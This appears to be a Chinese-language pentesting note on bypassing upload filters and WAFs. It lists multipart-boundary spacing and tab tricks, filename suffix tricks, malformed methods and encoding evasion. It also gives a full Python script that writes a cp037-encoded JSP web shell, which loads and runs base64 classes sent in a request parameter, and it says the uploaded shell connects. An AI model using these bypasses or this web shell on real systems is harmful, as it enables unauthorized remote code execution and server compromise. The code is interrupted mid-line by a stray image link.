文件名绕过

boundary等号前后空格绕过

Content-Type: multipart/form-data;
boundary = ----WebKitFormBoundaryMJPuN1aHyzfAO2m3

boundary等号前后ascii码09绕过

Cp037编码绕过

文件名后加/绕过

畸形请求方法

文件内容绕过

unicode编码

cp037编码（脚本内置马支持后缀jsp/jspx，都可解析）

编码脚本

#python2data = '''<?xml version="1.0" encoding="cp037"?><jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">  <jsp:declaration>    class PERFORM extends ClassLoader {      PERFORM(ClassLoader c) { super(c);}      public Class bookkeeping(byte[] b) {        return super.defineClass(b, 0, b.length);      }    }    public byte[] branch(String str) throws Exception {      Class base64;      byte[] value = null;      try {        base64=Class.forName("sun.misc.BASE64Decoder");        Object decoder = base64.newInstance();        value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });      } catch (Exception e) {        try {          base64=Class.forName("java.util.Base64");          Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);          value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });        } catch (Exception ee) {}      }      return value;    }  </jsp:declaration>  <jsp:scriptlet>    String cls = request.getParameter("xxoo");    if (cls != null) {      new PERFORM(this.getClass().getClassLoader()).bookkeeping(branch(cls)).newInstance().equals(new Object[]{request,response});    }  </jsp:scriptlet></jsp:root>'''fcp037 = open('cp037.jsp','wb')![](https://xzfile.aliyuncs.com/media/upload/picture/20220804173607-de2cfbb4-13d8-1.png)fcp037.write(data.encode('cp037'))

生成出来，burp选择paste from file

可以正常连接

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